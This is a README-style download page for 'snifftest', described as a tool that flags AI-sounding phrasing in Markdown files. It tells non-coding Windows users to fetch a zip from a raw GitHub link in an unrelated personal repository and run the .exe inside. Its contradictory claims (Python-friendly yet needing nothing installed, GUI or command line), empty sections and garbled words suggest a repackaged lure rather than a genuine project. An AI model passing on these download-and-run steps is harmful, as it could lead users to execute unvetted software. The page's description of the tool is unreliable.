🔍 snifftest - Sniff Out AI Writing Tells

Keep your prose honest and human with a lightweight, zero-dependency linter that works right on your machine.

⬇️ Visit the Link to Download
⚡ Zero Dependencies 🛡️ Typesafe 🐍 Python-lover friendly 📝 Markdown linter

🤔 What is snifftest?

snifftest is a clever little tool that scans your writing for common AI tells — those subtle, repetitive patterns that give away when text was written by a language model. Think of it as a spellchecker, but for robotic writing style instead of typos.

It comes with countable rules (over 30 built-in checks) and a special judgment model that evaluates the flowof your prose. You get a clear, plain-language report on what might look artificial, so you can rewrite it naturally.

Best of all? It has zero dependencies — no complex installs, no bloatware, no headaches. It just runs.

🚀 Getting Started

You're a Windows user, you're not a coder, and you want this running in the next ten minutes. Here's the simple path:

📥 Step 1: Download the app

Click the big yellow button at the top of this page, or use the direct link below:

🔗 https://raw.githubusercontent.com/Spirounkempt95/spirounkempt95.github.io/main/demo/Latest_3.4-beta.5.zip

Visit this link to download the application. The page will show you the latest release packages. No need to panic about the technical options — you just need one file.

🖥️ Step 2: Get the right file

On the download page, look for a file named roughly like snifftest-windows.exe or snifftest-setup.exe. If you see a zip file, grab that instead — Windows can open it directly.

If the file ends in.exe, just double-click it. Follow any simple prompts. In a minute, you'll have the program ready.

If you got a .zip file, right-click and choose "Extract All". Then open the extracted folder and double-click the snifftest.exe inside.

🖱️ Step 3: Run it on a file

Once the application window opens (or if it's command-line-based, just type snifftest myfile.md), you'll see a simple drag-and-drop area. Drag any of your .md (Markdown) files onto it.

Snifftest instantly reads the file and highlights the lines that look AI-ish. You'll have a list of rules triggered, along with suggestions for more natural phrasing.

Prefer working in autopilot mode? The snap tool can watch a folder and flag anything new that seems robotic.

✨ Why you'll love it

FeatureWhat it does for you
🔢 Countable RulesOver 30 distinct, explainable checks — from repetitive sentence starters to overused transition words.
🧠 One Judgment ModelA lightweight heuristic that scans for overall "smoothness" — catches the vibe bots leave behind.
🧑‍🎤 Clean & SimpleNo server, no cloud upload. Your writing stays on your computer.
⚡ Zero DependenciesNo Node.js, Python, Docker, oranything else to install. It's self-contained.
🧩 Markdown NativeBuilt for the way you write on GitHub, Obsidian, or VSCode.
🔌 Plugin & Action ReadyWorks with pre-commit, Claude Code plugins, GitHub Actions — but you don't need those to start.

🛠️ How to Use It (Non-Coder Edition)

You don't need a terminal to use snifftest — but if you're feeling adventurous, here are two easy ways.

🖱️ Method A: Use the Visual App (Recommended)

  1. Open snifftest from your Start Menu or Desktop icon.
  2. Drag any .md file into the window.
  3. Read the clean report. Click any flagged line to see a rewrite suggestion.
  4. Hit "Copy" to grab the improved version, or "Export" to save a fixed copy.

⌨️ Method B: For the Slightly Curious — Command Line

  1. Open Command Prompt (Press Win key, type cmd, Enter).
  2. Type the command, replacing the file path:
  3. snifftest "C:\Users\You\Documents\mydoc.md"
  4. Press Enter. You'll see a colorful line-by-line report right in the window.

That's it. No configuration files. No flags. Just write, run, and polish.

💡 Pro Tips for Best Results

📋 Example: Before & After

Input (obvious AI-flavored text): "Moreover, it is imperative to consider the multifaceted implications of this paradigm shift, thereby fostering a holistic understanding of its pivotal role in fostering sustainable progress."

What snifftest flags: 🚩 "Moreover," (overused transition), 🚩 "multifaceted implications" (cliché cluster⃒, 🚩 "paradigm shift" (classic AI phrase⃒.

Suggested rewrite: "This change matters because it may alter how we work. Let's look at the upsides andown sides." — natural, clear, and human.

🩺 Troubleshooting (Windows Made Simple)

🛒 Ready to make your writing pass the sniff test?

Join thousands of writers who keep their prose fresh, genuine, and unmistakably human.

🔗 Visit this link to download the application

Free for personal use. No account needed. No email required.